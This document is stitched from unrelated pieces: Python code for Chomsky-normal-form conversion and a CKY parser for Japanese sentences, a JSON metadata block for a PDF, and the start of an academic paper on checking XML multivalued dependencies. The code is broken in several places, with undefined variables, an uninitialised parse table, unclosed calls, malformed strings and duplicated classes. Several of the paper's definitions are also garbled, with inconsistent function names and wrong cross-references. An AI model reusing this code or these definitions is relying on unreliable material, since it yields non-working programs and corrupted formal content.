#Method that calls the steps of CNF conversion in order.
def convertToCNF(self):
self.__removeMixedRules()
self.__removeUnitProductions()
self.__makeRulesBinary()
#This has not since been updated with the new addition of the terminal set. It
#could be handled differently to make use of it, but it works as is.
def __removeMixedRules(self):
rules = self.rule_list
nonTerm = self.non_terminals
new_rules = []
#Get the rule for the unique LHS.
#Use a double loop since I'm using a dict (one for keys, the other for containing lists).
for r_key in rules:
containsNT = False
termIndices = set()
arg_list = rule.getRHS()
if len(arg_list) > 1:
i = 0
#first, check to see if this rule is mixed
while i < len(arg_list):
#we have a terminal node
if arg_list[i] not in nonTerm:
termIndices.add(arg_list[i])
else:
containsNT = True
i += 1
```
# We have a mixed rule
if len(termIndices) > 0 and containsNT:
for term in termIndices:
new_nt = "CAT" + str(self.cat_counter)
self.non_terminals.append(new_nt)
"""iterate through the arg_list and use the dummy NT as a replacement for terminals (as many times as one may occur) to make the rule all NT's """
arg_list = [new_nt if arg==term else arg for arg in arg_list]
self.cat_counter += 1
new_rules.append(Rule(new_nt + " > " + term))
#self.appendRule(new_rule)
#change the rule's RHS
rule.modifyRHS(arg_list)
for new_rule in new_rules:
self.appendRule(new_rule)
#end removeMixedRules
# Find all of the unit productions and create new rules to replace them.
def __removeUnitProductions(self):
rules = self.rule_list
nonTerm = self.non_terminals
new_rules = []
for r_key in rules:
for rule in rules[r_key]:
rhs=rule.getRHS()
# Only one non-terminal on the RHS.
# Use a recursive algorithm to get the appropriate terminal replacement.
if len(rhs) == 1 and rhs[0] in nonTerm:
temp_new_rules = self.__getNonUP(rhs[0], rule.getLHS(), [])
# Mark unit productions for removal.
if len(temp_new_rules) > 0:
rule.markRemoval(True)
new_rules = new_rules + temp_new_rules
# Delete everything marked for removal and readjust rule count
# for each unique LHS as necessary.
for r_key in rules:
rule_ind = 0
num_rules = len(rules[r_key])
while(rule_ind < num_rules and num_rules > 0):
rule = rules[r_key][rule_ind]
if rule.isMarkedRemoval():
del rules[r_key][rule_ind]
rule_ind -= 1
num_rules -= 1
rule_ind +=1
# Add all of the new rules.
for n_rule in new_rules:
self.appendRule(n_rule)
# end removeUnitProductions
# Make all rules binary, particularly ones with a RHS symbol count > 2.
def __makeRulesBinary(self):
rules = self.rule_list
new_rules = []
nonTerm = self.non_terminals
for r_key in rules:
for rule in rules[r_key]:
rhs=rule.getRHS()
# We have no mixed rules at this point, so just test the first node on the RHS
# whether it is a non-terminal or not.
if len(rhs) > 2 and rhs[0] in nonTerm:
num_args = len(rhs)
new_rhs = rhs
while num_args > 2:
# Reuse dummy variables X# here if the pairings already exist.
new_nt = None
for nrule in new_rules:
nrule_args = nrule.getRHS()
# new_rules are only allocated in this method, so they should all be
# binary rules. No need for checking.
# If we find a match of pairs with a new rule and a proposed RHS,
# reuse the new rule.
if nrule_args[0] == new_rhs[0] and nrule_args[1] == new_rhs[1]:
new_nt = nrule.getLHS()
break
# No new rules exist already for the proposed RHS pair of symbols so
# create one.
if new_nt is None:
new_nt = "X" + str(self.repl_counter)
self.repl_counter += 1
new_rules.append(Rule(new_nt + " > " + new_rhs[0] + " " + new_rhs[1]))
self.new_nodes.append(new_nt)
# Shorten the RHS with the introduction of the new rule.
new_rhs = [new_nt] + new_rhs[2:len(new_rhs)]
num_args -= 1
rule.modifyRHS(new_rhs)
for n_rule in new_rules:
self.appendRule(n_rule)
# end makeRulesBinary
# Recursive method to find the first non-unit production if there is a chain.
def __getNonUP(self, lhs, old_lhs, up_hist):
new_rules = []
for rule in self.rule_list[lhs]:
rhs = rule.getRHS()
temp_uph = list(up_hist)
temp_uph.append(lhs)
# If this rule is a unit production, go to the next rule and check again.
if len(rhs) == 1 and rhs[0] in self.non_terminals:
new_rules = new_rules + self.__getNonUP(rhs[0], old_lhs, temp_uph)
else:
new_rules.append(Rule(old_lhs + ' > ' + rule.getRHS_string(), temp_uph))
return new_rules
# This was a hack to get the rule with the new unit production history.
def getRuleUPHist(self, lhs, rhs1, rhs2=None):
rules = self.rule_list[lhs]
# Iterate through rules dict to find one the first that matches our terminal symbol.
# Not ideal way of search, but this is a hack afterall.
for rule in rules[lhs]:
rhs_list = rule.getRHS()
rhs_list = [x.decode('utf-8') for x in rhs_list]
# Get rule UP history searched by a terminal word (no rhs2) or a binary
# rule combo.
if rhs2 is None and rule.hasUPHist() and rhs1 in rhs_list:
return rule.getUPHist()
if len(rhs_list) == 2 and rhs1 == rhs_list[0] and rhs2 == rhs_list[1]:
return rule.getUPHist()
return []
# Tests whether this node is in the original grammar and not introduced by CNF conversion.
def isOrigNode(self, lhs):
return lhs not in self.new_nodes
class Rule:
lhs = ''
rhs = []
up_hist = []
pipe = False
_removal = False
def __init__(self, input_str, unit_prod_hist=None):
(self.lhs, rhs_str) = input_str.split('>')
self.rhs = re.split(r'\[|\]+', rhs_str, re.UNICODE)
if re.search(r'\[|\]', rhs_str, re.UNICODE):
self.pipe = True
if type(unit_prod_hist) is list:
self.up_hist = unit_prod_hist
def modifyRHS(self, in_rhs):
self.rhs = in_rhs
def markRemoval(self, val):
self._removal = val
def isMarkedRemoval(self):
return self._removal
def getLHS(self):
return self.lhs
def getRHS(self):
return self.rhs
def getRHS_string(self):
if self.pipe:
return ' | '.join(self.rhs)
else:
return ' | '.join(self.rhs)
def getUPHist(self):
return self.up_hist
def hasUPHist(self):
return len(self.up_hist) > 0
def toString(self):
return self.lhs + '>' + self.getRHS_string()
def printRule(self):
print(self.lhs + '>' + self.getRHS_string())
class CNF_search_tree:
def __init__(self, terms=[]):
self.tree = {}
# Class that represents individual rules. It stores the LHS as a string and the RHS as a list of strings.
class Rule:
lhs = ''
rhs = []
# Stores unit production history so that the bracket notation output can be accurately formed based on the original grammar.
up_hist = []
# Determines whether the rules output should separate RHS nodes with a pipe character.
pipe = False
# Mark for removal - used during unit production conversion.
_removal = False
def __init__(self, input_str, unit_prod_hist=None):
(self.lhs, rhs_str) = input_str.split('>')
self.rhs = re.split(r'\[|\]+', rhs_str, re.UNICODE)
if re.search(r'\[|\]', rhs_str, re.UNICODE):
self.pipe = True
if type(unit_prod_hist) is list:
self.up_hist = unit_prod_hist
def modifyRHS(self, in_rhs):
self.rhs = in_rhs
def markRemoval(self, val):
self._removal = val
def isMarkedRemoval(self):
return self._removal
def getLHS(self):
return self.lhs
def getRHS(self):
return self.rhs
def getRHS_string(self):
if self.pipe:
return ' | '.join(self.rhs)
else:
return ' | '.join(self.rhs)
# Return the chain of nodes that were removed during unit production conversion.
def getUPHist(self):
return self.up_hist
def hasUPHist(self):
return len(self.up_hist) > 0
def toString(self):
return self.lhs + '>' + self.getRHS_string()
def printRule(self):
print(self.lhs + '>' + self.getRHS_string())
# Class that allows search of a LHS based on RHS symbols. The corresponding rules must be in CNF, thus this class is only instantiated under such objects. This is actually a tree of dicts where child data contains the LHS data for the current traversal, and the tree contains a subtree yet to be traversed.
Terminals are reused here for addition purposes.
class CNF_search_tree:
def __init__(self, terms=[]):
self.tree = {}
self.child_data = set([])
self.level = 0
self.terminals = [x.lower() for x in terms]
# Iterative version of addition to the tree.
# All resulting LHS data is stored in a subtree without any trees of it's own
# i.e. The child subtree at position x where x = length of rule + 1.
def addRule(self, rule):
terminals = self.terminals
RHS = rule.getRHS()
LHS = rule.getLHS()
CST = self
level_count = 1
# Only need terminals for top level of the tree. Anything that extends below
# this level must be a non-terminal.
for rhs_sym in RHS:
rhs_sym = rhs_sym.decode("utf-8")
if rhs_sym not in CST.tree:
CST.tree[rhs_sym] = CNF_search_tree()
CST = CST.tree[rhs_sym]
CST.level = level_count
level_count += 1
# If we have a terminal symbol, add to child subtree and restart
# at the top level.
if rhs_sym in terminals:
CST.child_data.add(LHS)
CST = self
CST.child_data.add(LHS)
# Iterative version of a search.
def search(self, RHS):
terminals = self.terminals
CST = self
# Check if a single string was mistakenly input. If so, insert in a list.
if type(RHS) != str or type(RHS) == unicode:
temp = RHS
RHS = [temp]
if type(RHS) != list:
print("List parameter needed for CKY_search_tree.search()"
return None
rhs_len = len(RHS)
rhs_ind = 1
for rhs_sym in RHS:
isCST = rhs_sym in CST.tree and instance(CST.tree[rhs_sym], CNF_search_tree)
# Check if we are still in bounds of the tree.
if (isCST and rhs_ind <= rhs_len):
CST = CST.tree[rhs_sym]
rhs_ind += 1
# We hit the child subtree containing data for our rule.
if (rhs_ind > rhs_len and len(CST.child_data) > 0):
return list(CST.child_data)
else:
return None
# encoding: utf-8
import re,string
from collections import *
import MeCab
""
Class used to implement CKY algorithm. It only takes in a CNF grammar during construction. The grammar joins an parse history tracker as the only instance data.
""
class CKY:
def __init__(self, in_grammar):
self.grammar = in_grammar
self.indexer = CKY_indexer()
#String conversion of parse table.
def tableToString(self, parseTable):
row_ind = 0
col_ind = 0
cky_string = ''
for i in parseTable:
for j in i:
sym_list = []
if j is not None:
for ind in j:
sym_list.append(self.indexer.getSym(ind))
cky_string = cky_string + '['+str(row_ind)+','+str(col_ind)+'] ' + str(sym_list) + '
row_ind += 1
col_ind += 1
row_ind = 0
return cky_string
#Method that calls a recursive algorithm to generate the bracket notation. It begins the brackets for the top level S node.
def parseToNotationString(self, s_indices, words):
notation = ''
for s in s_indices:
notation = notation + '[' + self.indexer.getSym(s) + ' ' + self.__generateNotation(s, words) + ']
return notation
#Recursive method that generates the rest of the bracket notation within S.
def __generateNotation(self, parent, words):
notation = ''
rhs1 = self.indexer.getRHS1(parent)
rhs2 = self.indexer.getRHS2(parent)
#If both rhs1 and rhs2 are not null, this must be a full binary rule.
#Get the symbols from the indexer, and determine if it was from the original grammar. Get the unit prod. history for this rule as well.
if rhs1 is not None and rhs2 is not None:
rhs1_sym = self.indexer.getSym(rhs1)
rhs2_sym = self.indexer.getSym(rhs2)
rhs1_orig = self.grammar.isOrigNode(rhs1_sym)
rhs2_orig = self.grammar.isOrigNode(rhs2_sym)
unit_prod_history = self.grammar.getRuleUPHist(self.indexer.getSym(parent), rhs1_sym, rhs2_sym)
close1 = ''
close2 = ''
#Keep generating new categories if we have the unit prod. history to do so.
for uph_elem in unit_prod_history:
notation = notation + "[" + uph_elem + " "
if rhs1_orig:
notation = notation + "[" + rhs1_sym + " "
close1 = ""]"
notation = notation + self.__generateNotation(rhs1, words) + close1
if rhs2_orig:
notation = notation + "[" + rhs2_sym + " "
close2 = ""]"
notation = notation + self.__generateNotation(rhs2, words) + close2
end_bracket = "]" * len(unit_prod_history)
notation = notation + end_bracket
# This rule is not binary, and it must be a terminal word.
else:
word = words[self.indexer.getCol(parent)]
unit_prod_history = self.grammar.getRuleUPHist(self.indexer.getSym(parent), word)
for uph_elem in unit_prod_history:
notation = notation + "[" + uph_elem + " "
notation = notation + word
end_bracket = "]" * len(unit_prod_history)
notation = notation + end_bracket
return notation
# Method that determines if a string of words constitutes a sentence
# based on the instance grammar.
def parseSentence(self, sentence):
grammar = self.grammar
# Utilize the MeCab morphological analyzer to separate words by spaces.
tagger = MeCab.Tagger("-Owakati")
words = tagger.parse(sentence.encode("utf-8"))
# Remove (replace) punctuation characters with empty string.
word_pattern = re.compile(u'\s+\[\u3002\u0021\u3001\uFF1F\uFF01\]\s+$')
words = word_pattern.sub(u'', words.decode("utf-8"))
word_list = words.split(' ')
# Display segmented words to STDOUT.
print('‐‐'.join(word_list).encode('utf-8'))
words_len = len(word_list)
indexer = self.indexer
# We cannot have a sentence if we do not have at least one word.
if words_len < 1:
print("Not S\n")
return
"""
The implementation of the CKY parse from the book uses indices that do not match up with indexing of lists, so this was modified to reflect this.
The list comprehension belows gives a staggered matrix of lists.
"""
for j in range(words_len):
# searchRule returns a list of symbols that give the current word
first_sym = grammar.searchRule(word_list[j])
if first_sym is not None:
for lhs in first_sym:
index = indexer.insert(lhs, j, j)
if parse_table[j][j] is None:
parse_table[j][j] = []
```python
# Note the lower boundary of range.
for i in range(j-1, -1, -1):
for k in range(i, j):
if parse_table[k][i] is not None and parse_table[j][k+1] is not None:
# Search for all combinations of symbols in the relevant indices of the parse table.
for B_ind in parse_table[k][i]:
for C_ind in parse_table[j][k+1]:
B_sym = indexer.getSym(B_ind)
C_sym = indexer.getSym(C_ind)
temp_rhs = [B_sym, C_sym]
# Returns a list of LHS symbols meeting the rule.
A_symbols = grammar.searchRule(temp_rhs)
if A_symbols is not None:
if parse_table[j][i] is None:
parse_table[j][i] = []
else:
for lhs in A_symbols:
index = indexer.insert(lhs, j, i, B_ind, C_ind)
parse_table[j][i].append(index)
# Add new symbol to the parse table appropriately.
for i in range(words_len-1):
if parse_table[i][i] is None:
print("Not S")
else:
s_ind = []
for pt_ind in parse_table[i][i]:
s_nodes = ['S', 'S_ques', 'S_inform']
if indexer.getSym(pt_ind) in s_nodes:
s_ind.append(pt_ind)
if len(s_ind) > 0:
print("S found!\nPossible parses: " + str(len(s_ind)))
#indexer.printIndexer()
print(self.parseToNotationString(s_ind, word_list))
else:
print("Not S")
The indexer is a history tracker of all symbols used in each cell of the CKY parse table. It assigns a unique index to the resulting node, stores the indices of the nodes from other cells that created it, and returns relevant data to the method for creating bracket notation.
class CKY_indexer:
def __init__(self):
self.ind_table = {}
self.counter = 0
def insert(self, d, r, c, r1_ind=None, r2_ind=None):
self.ind_table[self.counter] = {'data': d, 'row': r, 'col': c, 'r1_ind': r1_ind, 'r2_ind': r2_ind}
current_ind = self.counter
self.counter = self.counter + 1
return current_ind
def getSym(self, i): return self.ind_table[i]['data']
def getRHS1(self, i): return self.ind_table[i]['r1_ind']
def getRHS2(self, i): return self.ind_table[i]['r2_ind']
def getCol(self, i): return self.ind_table[i]['col']
```
|
{"Source-Url": "http://www2.hawaii.edu/~chin/661F12/Projects/rbungard.pdf", "len_cl100k_base": 12993, "olmocr-version": "0.1.49", "pdf-total-pages": 28, "total-fallback-pages": 0, "total-input-tokens": 86598, "total-output-tokens": 17110, "length": "2e13", "weborganizer": {"__label__adult": 0.0003685951232910156, "__label__art_design": 0.00042557716369628906, "__label__crime_law": 0.0002574920654296875, "__label__education_jobs": 0.0008292198181152344, "__label__entertainment": 0.00012540817260742188, "__label__fashion_beauty": 0.00011837482452392578, "__label__finance_business": 8.58306884765625e-05, "__label__food_dining": 0.0003211498260498047, "__label__games": 0.0005712509155273438, "__label__hardware": 0.0004916191101074219, "__label__health": 0.0003132820129394531, "__label__history": 0.00021469593048095703, "__label__home_hobbies": 6.884336471557617e-05, "__label__industrial": 0.0002510547637939453, "__label__literature": 0.0008959770202636719, "__label__politics": 0.0002282857894897461, "__label__religion": 0.0004534721374511719, "__label__science_tech": 0.01117706298828125, "__label__social_life": 0.00010436773300170898, "__label__software": 0.0087738037109375, "__label__software_dev": 0.97314453125, "__label__sports_fitness": 0.0002218484878540039, "__label__transportation": 0.00028777122497558594, "__label__travel": 0.00017344951629638672}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54743, 0.01342]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54743, 0.64334]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54743, 0.69684]], "google_gemma-3-12b-it_contains_pii": [[0, 1650, false], [1650, 4499, null], [4499, 6348, null], [6348, 9076, null], [9076, 10932, null], [10932, 14420, null], [14420, 16937, null], [16937, 19803, null], [19803, 20763, null], [20763, 22027, null], [22027, 22983, null], [22983, 24123, null], [24123, 24843, null], [24843, 25742, null], [25742, 27939, null], [27939, 30107, null], [30107, 30143, null], [30143, 30847, null], [30847, 32528, null], [32528, 34685, null], [34685, 37240, null], [37240, 39626, null], [39626, 42251, null], [42251, 45651, null], [45651, 47679, null], [47679, 49956, null], [49956, 52275, null], [52275, 54743, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1650, true], [1650, 4499, null], [4499, 6348, null], [6348, 9076, null], [9076, 10932, null], [10932, 14420, null], [14420, 16937, null], [16937, 19803, null], [19803, 20763, null], [20763, 22027, null], [22027, 22983, null], [22983, 24123, null], [24123, 24843, null], [24843, 25742, null], [25742, 27939, null], [27939, 30107, null], [30107, 30143, null], [30143, 30847, null], [30847, 32528, null], [32528, 34685, null], [34685, 37240, null], [37240, 39626, null], [39626, 42251, null], [42251, 45651, null], [45651, 47679, null], [47679, 49956, null], [49956, 52275, null], [52275, 54743, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54743, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 54743, null]], "pdf_page_numbers": [[0, 1650, 1], [1650, 4499, 2], [4499, 6348, 3], [6348, 9076, 4], [9076, 10932, 5], [10932, 14420, 6], [14420, 16937, 7], [16937, 19803, 8], [19803, 20763, 9], [20763, 22027, 10], [22027, 22983, 11], [22983, 24123, 12], [24123, 24843, 13], [24843, 25742, 14], [25742, 27939, 15], [27939, 30107, 16], [30107, 30143, 17], [30143, 30847, 18], [30847, 32528, 19], [32528, 34685, 20], [34685, 37240, 21], [37240, 39626, 22], [39626, 42251, 23], [42251, 45651, 24], [45651, 47679, 25], [47679, 49956, 26], [49956, 52275, 27], [52275, 54743, 28]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54743, 0.00731]]}
|
olmocr_science_pdfs
|
2024-11-25
|
2024-11-25
|
1a6539a8d224f0d530ae9cada8b6e05fc4076021
|
Available from: http://dx.doi.org/10.1007/978-3-540-31849-1_32
Copyright © 2005 Springer-Verlag Berlin Heidelberg. The original publication is available at www.springer.com.
This is the author’s version of the work. It is posted here with the permission of the publisher for your personal use. No further distribution is permitted. If your library has a subscription to these conference proceedings, you may also be able to access the published version via the library catalogue.
Checking Multivalued Dependencies in XML
Jixue Liu1 Millist Vincent1 Chengfei Liu2 Mukesh Mohania3
1 School of Computer and Information Science, University of South Australia
2 Faculty of Inf. and Comm. Technologies, Swinburne University of Technology
3 IBM Research Laboratories, New Delhi, India
email: {jixue.liu,millist.vincent}@unisa.edu.au, cliu@swin.edu.au
mkmukesh@in.ibm.com
Abstract. Recently, the issues of how to define functional dependencies (XFDs) and multivalued dependencies (XMVDs) in XML have been investigated. In this paper we consider the problem of checking the satisfaction of a set of XMVDs in an XML document. We present an algorithm using extensible hashing to check whether an XML document satisfies a given set of XMVDs. The performance of the algorithm is shown to be linear in relation to the number of tuples of the XML document, a measure which is related to, but not the same as, the size of the XML document.
1 Introduction
XML has recently emerged as a standard for data representation and interchange on the Internet [18, 1]. While providing syntactic flexibility, XML provides little semantic content and as a result several papers have addressed the topic of how to improve the semantic expressiveness of XML. Among the most important of these approaches has been that of defining integrity constraints in XML [7, 6]. Several different classes of integrity constraints for XML have been defined including key constraints [6, 5], path constraints [8], and inclusion constraints [9, 17], and properties such as axiomatization and satisfiability have been investigated for these constraints. Following these, some other types of constraints such as functional dependencies [2, 4, 3, 15, 12, 16], multivalued dependencies (XMVDs) [14], axioms, and normal forms have also been investigated. Once such constraints have been defined, one important issue that arises is to develop efficient methods of checking an XML document for constraint satisfaction, which is the topic of this paper. In this paper we address the problem of developing an efficient algorithm for checking whether an XML document satisfies a set of XMVDs. The problem is addressed in several aspects. Firstly, we propose an algorithm that is based on a modification of the extensible hashing technique. Another key idea of the algorithm is an encryption technique which reduces the problem of checking XMVD satisfaction to the problem of checking MVD satisfaction. Secondly, we show that this algorithm scans a document only
---
0 Supported by Australian Research Council Discovery Project DP0559202
once and all the information required for XMVD checking can be extracted in this single scan, even when there are multiple XMVDs to be checked. At the same time, we show that the algorithm runs in linear time in relation to the number of tuple of the XML document. The number of tuples of a document is different (though related) to the size of the XML document and is the number of combinations (we call them tuples) of the path values involved in the XMVDs.
2 Preliminary Definitions
In this section we review some preliminary definitions.
Definition 2.1 Assume a countably infinite set $E$ of element labels (tags), a countable infinite set $A$ of attribute names and a symbol $S$ indicating text. An XML tree is defined to be $T = (V, \text{lab}, \text{ele}, \text{att}, \text{val}, v_r)$ where $V$ is a finite set of nodes in $T$; lab is a function from $V$ to $E \cup A \cup \{S\}$; ele is a partial function from $V$ to a sequence of $V$ nodes such that for any $v \in V$, if $\text{ele}(v)$ is defined then $\text{lab}(v) \in E$; att is a partial function from $V \times A$ to $V$ such that for any $v \in V$ and $l \in A$, if $\text{att}(v, l) = v_1$ then $\text{lab}(v) \in E$ and $\text{lab}(v_1) = l$; val is a function such that for any node in $v \in V, \text{val}(v) = v$ if $\text{lab}(v) \in E$ and $\text{val}(v)$ is a string if either $\text{lab}(v) = S$ or $\text{lab}(v) \in A$; $v_r$ is a distinguished node in $V$ called the root of $T$ and we define $\text{lab}(v_r) = \text{root}$. Since node identifiers are unique, a consequence of the definition of val is that if $v_1 \in E$ and $v_2 \in E$ and $v_1 \neq v_2$ then $\text{val}(v_1) \neq \text{val}(v_2)$. We also extend the definition of val to sets of nodes and if $S_v \subseteq V$, then $\text{val}(S_v)$ is the set defined by $\text{val}(S_v) = \{\text{val}(v) | v \in S_v\}$.
For any $v \in V$, if $\text{ele}(v)$ is defined then the nodes in $\text{ele}(v)$ are called subelements of $v$. For any $l \in A$, if $\text{att}(v, l) = v_1$ then $v_1$ is called an attribute of $v$. The set of ancestors of a node $v$, is denoted by $\text{Ancestor}(v)$ and the parent node of $v$ is denoted by $\text{parent}(v)$ where the suffix $V$ means that the parent is a vertex (node).
Definition 2.2 (path) A path is an expression of the form $l_1, \ldots, l_n$, $n \geq 1$, where $l_i \in E \cup A \cup \{S\}$ for all $i, 1 \leq i \leq n$ and $l_1 = \text{root}$. If $p$ is the path $l_1, \ldots, l_n$ then $\text{end}(p) = l_n$.
Definition 2.3 Let $p$ denote the path $l_1, \ldots, l_n$ and the function $\text{parent}(p)$ return the path $l_1, \ldots, l_{n-1}$. Let $q$ denote the path $q_1, \ldots, q_m$. The path $p$ is said to be a prefix of the path $q$, denoted by $p \subseteq q$, if $n \leq m$ and $l_1 = q_1, \ldots, l_n = q_n$. Two paths $p$ and $q$ are equal, denoted by $p = q$, if $p$ is a prefix of $q$ and $q$ is a prefix of $p$. The path $p$ is said to be a strict prefix of $q$, denoted by $p < q$, if $p$ is a prefix of $q$ and $p \neq q$. We also define the intersection of two paths $p_1$ and $p_2$, denoted by $p_1 \cap p_2$, to be the maximal common prefix of both paths. It is clear that the intersection of two paths is also a path.
Definition 2.4 A path instance in an XML tree $T$ is a sequence $v_1, \ldots, v_n$ such that $v_1 = v_r$ and for all $v_i, 1 < i \leq n, v_i \in V$ and $v_i$ is a child of $v_{i-1}$. A path instance $v_1, \ldots, v_n$ is said to be defined over the path $l_1, \ldots, l_n$ if for all $v_i, 1 \leq i \leq n, lab(v_i) = l_i$. Two path instances $v_1, \ldots, v_n$ and $v'_1, \ldots, v'_m$ are said to be distinct if $v_i \neq v'_i$ for some $i, 1 \leq i \leq n$. The path instance $v_1, \ldots, v_n$ is said to be a prefix of $v'_1, \ldots, v'_m$ if $n \leq m$ and $v_i = v'_i$ for all $i, 1 \leq i \leq n$. The path instance $v_1, \ldots, v_n$ is said to be a strict prefix of $v'_1, \ldots, v'_m$ if $n < m$ and $v_i = v'_i$ for all $i, 1 \leq i \leq n$. The set of path instances over a path $p$ in a tree $T$ is denoted by $\text{instances}(p)$. For a node $v$, we use $\text{instnodes}(v)$ to denote all nodes of the path instance ended at $v$. □
For example, in Figure 1, $v_r.v_1.v_3$ is a path instance defined over the path root.Dept.Section and $v_r.v_1.v_3$ is a strict prefix of $v_r.v_1.v_3.v_4$.
\[
\text{instances(root.Dept)} = \{v_r.v_1, v_r.v_2\},
\]
\[
\text{instnodes}(v_2) = \{v_r, v_2\}.
\]
Fig. 1. An XML tree.
Definition 2.5 A set $P$ of paths is consistent if for any path $p \in P$, if $p_1 \subset p$ then $p_1 \in P$. □
This is natural restriction on the set of paths and any set of paths that is generated from a DTD will be consistent. We now define the notion of an XML tree conforming to a set of paths $P$.
Definition 2.6 An XML tree $T$ is said to conform to a set $P$ of paths if every path instance in $T$ is a path instance over a path in $P$. □
The next definition is to limit XML trees from having missing information.
Definition 2.7 Let $P$ be a consistent set of paths, let $T$ be an XML tree that conforms to $P$. Then $T$ is defined to be complete if whenever there exist paths $p_1$ and $p_2$ in $P$ such that $p_1 \subset p_2$ and there exists a path instance $v_1, \ldots, v_n$ defined over $p_1$, in $T$, then there exists a path instance $v'_1, \ldots, v'_m$ defined over $p_2$ in $T$ such that $v_1, \ldots, v_n$ is a prefix of the instance $v'_1, \ldots, v'_m$. □
Let \( \text{val} \) be \( \{ \text{root}, \text{root.Dept}, \text{root.Dept.Section}, \text{root.Dept.Section.Project} \} \) then the tree in Figure 1 conforms to \( P \) and is complete.
The next function returns the end nodes of the path instances of a path \( p \) under a given node. It is a restriction to \( \text{endnodes}(p) \).
**Definition 2.8** Let \( P \) be a consistent set of paths, let \( T \) be an XML tree that conforms to \( P \). The function \( \text{endnodes}(p) \), where \( p \in P \), is the set of nodes defined by \( \text{endnodes}(p) = \{ v | v \in \text{instances}(p) \land v = v_n \} \).
For example, in Figure 1, \( \text{endnodes(root.Dept)} = \{ v_1, v_2 \} \).
**Definition 2.9** Let \( P \) be a consistent set of paths, let \( T \) be an XML tree that conforms to \( P \). The function \( \text{bEndnodes}(v, p) \) (meaning branch end nodes), where \( v \in V \) and \( p \in P \), is the set of nodes in \( T \), defined by \( \text{bEndnodes}(v, p) = \{ x | x \in \text{nodes}(p) \land v \in \text{endnodes}(x) \} \).
For example in Figure 1, \( \text{bEndnodes}(v_1, \text{root.Dept.Section.Emp}) = \{ v_4, v_5 \} \).
We also define a partial ordering on the set of nodes and the set of paths as follows. We use the same symbol for both orderings but this causes no confusion as they are being applied to different sets.
**Definition 2.10** The partial ordering \( > \) on the set of paths \( P \) is defined by \( p_1 > p_2 \) if \( p_2 \) is a strict prefix of \( p_1 \), where \( p_1 \in P \) and \( p_2 \in P \). The partial ordering \( > \) on the set of nodes \( V \) in an XML tree \( T \) is defined by \( v_1 > v_2 \) if \( v_2 \in \text{Ancestor}(v_1) \), where \( v_1 \in V \) and \( v_2 \in V \).
### 3 XMVDs in XML
In this section, we present the XMVD definition and then give two examples.
**Definition 3.1** Let \( P \) be a consistent set of paths and let \( T \) be an XML tree that conforms to \( P \) and is complete. An XMVD is a statement of the form \( p_1, \ldots, p_k \rightarrow q_1, \ldots, q_m | r_1, \ldots, r_s \) where \( p_1, \ldots, p_k, q_1, \ldots, q_m \) and \( r_1, \ldots, r_s \) are paths in \( P \) and \( \{ p_1, \ldots, p_k \} \cap \{ q_1, \ldots, q_m \} \cap \{ r_1, \ldots, r_s \} = \emptyset \). A tree \( T \) satisfies \( p_1, \ldots, p_k \rightarrow q_1, \ldots, q_m | r_1, \ldots, r_s \) if whenever there exists a \( q_i, 1 \leq i \leq m, \) and two distinct path instances \( v_1^i, \ldots, v_n^i \) and \( w_1^i, \ldots, w_n^i \) in \( \text{instances}(q_i) \) such that:
(i) \( \text{val}(v_n^i) \neq \text{val}(w_n^i) \);
(ii) there exists a \( r_j, 1 \leq j \leq s, \) and two nodes \( z_1, z_2, \) where \( z_1 \in \text{bEndnodes}(x_{i_j}, r_j) \) and \( z_2 \in \text{bEndnodes}(y_{i_j}, r_j) \) such that \( \text{val}(z_1) \neq \text{val}(z_2) \);
(iii) for all $p_l, 1 \leq l \leq k$, there exists two nodes $z_3$ and $z_4$, where $z_3 \in \text{branEndnodes}(x_{i_l}, p_l)$ and $z_4 \in \text{branEndnodes}(y_{i_l}, p_l)$, such that $\text{val}(z_3) = \text{val}(z_4)$;
then:
(a) there exists a path instance $v_{j_1}^{z_1}, \ldots, v_{j_n}^{z_1}$ in instances($q_i$) such that $\text{val}(v_{j_1}^{z_1}) = \text{val}(v_{j_n}^{z_1})$ and there exists a node $z_1^j$ in $\text{branEndnodes}(x_{i_l}, r_i)$ such that $\text{val}(z_1^j) = \text{val}(z_3)$ and there exists a node $z_3^j$ in $\text{branEndnodes}(x_{i_l}, r_i)$ such that $\text{val}(z_3^j) = \text{val}(z_4)$;
(b) there exists a path instance $w_{j_1}^{z_1}, \ldots, w_{j_n}^{z_1}$ in instances($q_i$) such that $\text{val}(w_{j_1}^{z_1}) = \text{val}(w_{j_n}^{z_1})$ and there exists a node $z_1^j$ in $\text{branEndnodes}(y_{i_l}, r_i)$ such that $\text{val}(z_1^j) = \text{val}(z_1)$ and there exists a node $z_4^j$ in $\text{branEndnodes}(y_{i_l}, r_i)$ such that $\text{val}(z_4^j) = \text{val}(z_4)$.
